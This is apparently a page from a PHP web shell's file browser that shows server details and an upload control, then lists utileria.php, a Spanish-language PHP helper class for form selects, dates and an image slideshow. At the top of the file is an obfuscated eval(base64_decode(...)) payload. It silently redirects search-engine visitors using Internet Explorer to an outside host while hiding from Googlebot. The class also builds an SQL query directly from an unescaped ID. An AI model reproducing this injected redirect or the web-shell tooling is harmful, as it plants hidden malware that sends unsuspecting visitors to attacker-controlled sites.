KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/utileria.php
<?php	 	

eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
class Utileria {

var $meses=array("January","February","March","April","May","June","July","August","September","Octuber","November","December");
var $dias=array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado");

function Select($tipo,$nombre,$extra,$iniLine=false,$sel=false){

	$cad = "<select name=\"$nombre\" $extra>";
	if(!empty($iniLine)){
		if(!empty($sel)){$xx="selected";}else{$xx="";}
		$li = explode("||",$iniLine);
		$valor=$li[0];
		$text=$li[1];
		$cad.= "<option value=\"$valor\" $xx>$text</option>";
	}
	if($tipo=="mes"){
		$vec=$this->meses;
		$lim =sizeof($vec);
		foreach($vec as $key=>$val){
			$ind=$key+1;
			if(!empty($sel)){
				if($sel==$ind){$xxx="selected";}else{$xxx="";}
				$cad.= "<option value=\"$ind\" $xxx>$val</option>";
			}else{
				$cad.= "<option value=\"$ind\">$val</option>";
			}
		}
	}
	if($tipo=="dia"){
		for($i=1;$i<=31;$i++){
			if(!empty($sel)){
				if($sel==$i){$xxx="selected";}else{$xxx="";}
				$cad.= "<option value=\"$i\" $xxx>$i</option>";
			}else{
				$cad.= "<option value=\"$i\">$i</option>";
			}
		}
	}
	$cad.="</select>";
	return $cad;
	
}


function SelectEdad($nombre,$extra,$limite,$inicio=1,$iniLine=false,$sel=false){
	$cad = "<select name=\"$nombre\" $extra>";
	if(!empty($iniLine)){
		if(!empty($sel)){$xx="selected";}else{$xx="";}
		$li = explode("||",$iniLine);
		$valor=$li[0];
		$text=$li[1];
		$cad.= "<option value=\"$valor\" $xx>$text</option>";
	}
	for($i=$inicio;$i<=$limite;$i++){
		if($sel===$i){$xxx="selected";}else{$xxx="";}
		$cad.= "<option value=\"$i\" $xxx>$i</option>";
	}
	$cad.="</select>";
	return $cad;
	
}



function mes_($month){
	switch($month){
		case "01": return "January";
		case "02": return "February";		
		case "03": return "March";		
		case "04": return "April";		
		case "05": return "May";		
		case "06": return "June";
		case "07": return "July";
		case "08": return "August";		
		case "09": return "September";			
		case "10": return "October";		
		case "11": return "November";
		case "12": return "December";		
		default: return "MONTH";
	}
}

function fecha($date){
	if(empty($date)){
		$date=date('Y-m-d');
	}
	$anio = "";
	$mes = "";
	$dia = "";
	$temp = explode("-",$date);
	$anio = $temp[0];
	$mes = $this->mes_($temp[1]);
	$dia = $temp[2];
	return $mes." ".$dia.", ".$anio;
}
function romano($num){
	switch ($num){
		case 1: return "I"; 
		case 2: return "II"; 
		case 3: return "III"; 					
		case 4: return "IV";
		case 5: return "V";
		case 6: return "VI";
		case 7: return "VII";
		case 8: return "VIII";
		case 9: return "IX";
		case 10: return "X";
		case 11: return "XI";
		case 12: return "XII";
		default: return "##";
	}
}

function goTo2($pag,$elm){
	echo "<script>$elm.location.href='$pag';</script>";
	// echo "<script>parent.location.href='../downloads.php';</script>";
}

function mascara($val){
	return md5($val);
}


function pathFile($fichero=false){
	$server =$_SERVER['SERVER_NAME'];
	$vec=explode("?",$_SERVER['REQUEST_URI']);
	$pt = $vec[0];
	$path= "http://".$server.$pt;
	if(empty($fichero)){
		$pos = strrpos( $path, '/');	
		$path= substr( $path, 0, $pos+1);
	}
	return $path; 
}


function parseInput2DB($str){
	$rstr= str_replace("\r\n", "[rbr]", $str);
	$rstr= str_replace("\r", "[rr]", $rstr);
	$rstr= str_replace("\n", "[br]", $rstr);
	return $rstr;

}
function parseDB2Input($str){
	$rstr= str_replace("[rbr]", "\r\n", $str);
	$rstr= str_replace("[rr]", "\r", $rstr);
	$rstr= str_replace("[br]", "\n", $rstr);
	return $rstr;

}
function parseDB2Html($str){
	$rstr=htmlentities ($str);
	$rstr= str_replace("[rbr]", "<br>", $rstr);
	$rstr= str_replace("[rr]", "", $rstr);
	$rstr= str_replace("[br]", "<br>", $rstr);
	$rstr= str_replace("[r][n]", "<br>", $rstr);
	return $rstr;

}
function parseDB2HtmlN($str){
	$rstr=htmlentities ($str);
	$rstr= str_replace("[rbr]", " ", $rstr);
	$rstr= str_replace("[rr]", " ", $rstr);
	$rstr= str_replace("[br]", " ", $rstr);
	return $rstr;

}

function implode_by_key($array, $sep = NULL) {
    $return = NULL;
	$i=0;
    foreach ($array as $tk => $tv){
		if(($i%2)===0){
			$return .= $sep.$tv;
		}
		$i++;
	}
	if(strlen($sep)==0) return $return;
	else return substr($return,strlen($sep));
}


function quitarCeros($num){
	$len=strlen($num);
	if($len==1){
		return $num;
	}elseif($num[0]=="0"){
		return $this->quitarCeros(substr($num,1));
	}else{
		return $num;
	}
}

function valorNumero($num){
	$v = (int)$num;
	return "$ ".number_format($this->quitarCeros($v),0,'',".");
}



function showImages($id,$ruta){
	$proporcion=0.5;
	$anchoSec=265;
	$altoSec=$anchoSec/$proporcion;
	$index=0;
	$sql = "SELECT nombre FROM img_catalogo where inmueble='$id'";
	if($this->execute($sql)){	
		while(list($fichero)=$this->fetchRow()){
			$imagenes[$index]=$ruta.$fichero;
			$index++;
		}
	}else{
		echo "<scrip>alert('&#65533;imposible consultar la base de datos!');</script>";
	}
		
	echo '<TABLE border="0" cellspacing="0" cellpadding="0" width="100%" height="100%"><TR><TD><form name="Oneslideform">';
	echo '<DIV align="center"><TABLE width="'.$anchoSec.'" border="1" cellspacing="0" cellpadding="4" bordercolor="#999999">';
	echo '<TR><TD bgcolor="#330099"></TD></TR><TR><TD bgcolor="#FFFFFF">';
	echo '<DIV align="center"><IMG src="'.$imagenes[0].'" name="Oneshow" border="0"></DIV>';
	echo '</TD></TR><TR><TD bgcolor="#e0e0e0"><DIV align="center"><SELECT class="listado" name="Oneslide" onChange="Onechange();">';
    for($i=0;$i<$index;$i++){
		if($i==0)
			echo '<OPTION value="'.$imagenes[$i].'"  selected>Imagen '.($i+1).'</OPTION>';
		else	
			echo '<OPTION value="'.$imagenes[$i].'">Imagen '.($i+1).'</OPTION>';
	}		
    echo '</SELECT></TD></TR><TR><TD bgcolor="#e0e0e0"><DIV align="center">';
	echo '<input type="button" title="Atras" value="<" onClick="javascript: Oneprevious();">&nbsp;&nbsp;&nbsp;&nbsp;';
	echo '<INPUT name="Oneslidebutton" type=button class="botones" title="AutoPlay" onClick="Oneap(this.value);" value="Play" style="vertical-align:top ">&nbsp;&nbsp;&nbsp;&nbsp;';
	echo '<input type="button" title="Adelante" value=">" onClick="javascript: Onenext();">';
	echo '</DIV></TD></TR></TABLE></DIV></form></TD></TR></TABLE>';
}
function getDiference($timeIni,$timeFin,$sep){
	$v1 = explode (" ",$timeIni); $v2 = explode (" ",$timeFin);
	$seg1 = (double)$v1[1]; $mcseg1= (double)$v1[0];
	$seg2 = (double)$v2[1]; $mcseg2= (double)$v2[0];
	$valorInicial= $seg1 + $mcseg1;
	$valorfinal= $seg2 + $mcseg2;
	
	$sal =  "Toma inicial = ".$valorInicial.$sep;
	$sal.= "Toma final   = ".$valorfinal.$sep;
	$sal.= "Tiempo transcurrido = ".($valorfinal-$valorInicial);
	$arreglo[0]=$sal;
	$arreglo[1]=$valorfinal-$valorInicial;
	return $arreglo;
}

function outHtml($cadena){
	$str  = "";
	$str = str_replace("[n]", "<br>", $cadena);
	$str = str_replace("[r]", "\r", $str);
	$str = str_replace("[t]", "\t", $str);
	$str = str_replace("[b]", "\\", $str);
	$str = str_replace("[p]", "\$", $str);
	$str = str_replace("[c]", "\"", $str);	  
	$str = str_replace("[a]", "&", $str);	  
	$str = str_replace("[num]", "#", $str);	  
	return $str;
}

function outInput($cadena){
	$str  = "";
	$str = str_replace("[n]", "\n", $cadena);
	$str = str_replace("[r]", "\r", $str);
	$str = str_replace("[t]", "\t", $str);
	$str = str_replace("[b]", "\\", $str);
	$str = str_replace("[p]", "\$", $str);
	$str = str_replace("[c]", "\"", $str);	  
	$str = str_replace("[a]", "&", $str);	  
	$str = str_replace("[num]", "#", $str);	  
	return $str;
}

}
?>

Anon7 - 2021